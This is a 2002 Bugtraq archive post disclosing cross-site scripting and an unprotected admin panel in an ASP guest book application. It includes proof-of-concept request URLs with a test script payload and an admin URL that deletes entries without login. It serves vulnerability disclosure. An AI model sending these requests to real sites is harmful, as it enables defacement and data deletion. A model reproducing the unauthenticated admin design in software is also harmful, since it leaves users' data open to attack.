Bugtraq mailing list archives
Vulnerability in my guest book
From: Over_G <overg () mail ru>
Date: Wed, 27 Mar 2002 18:07:27 +0300
Product: My guest book Version: ? OffSite: ? Problem: CSS and unauthorized access in admin panel -------------------------------------------------------------- 1)Cross Site scripting http://[target]/myguestBk/add1.asp?name=Name&subject=Subj&email=M@IL&message=<scr*pt>alert ("Test!")</scr*pt> Or open http://[target]/myguestBk/add.asp and write in "Message" field: <scr*pt>alert ("Test!")</scr*pt> and press "Post Message". 2)Unauthorized access in admin panel http://[target]/myguestBk/admin/index.asp Delete news: http://[target]/myguestBk/admin/delEnt.asp?id=NEWSNUMBER with NEWSNUMBER - news number in database. Contacts: www.overg.com www.dwcgr0up.com irc.zaingandol.org #DWC ogprog () ukr net Best regards, Over G[DWC Gr0up]
Current thread:
- Vulnerability in my guest book Over_G (Mar 27)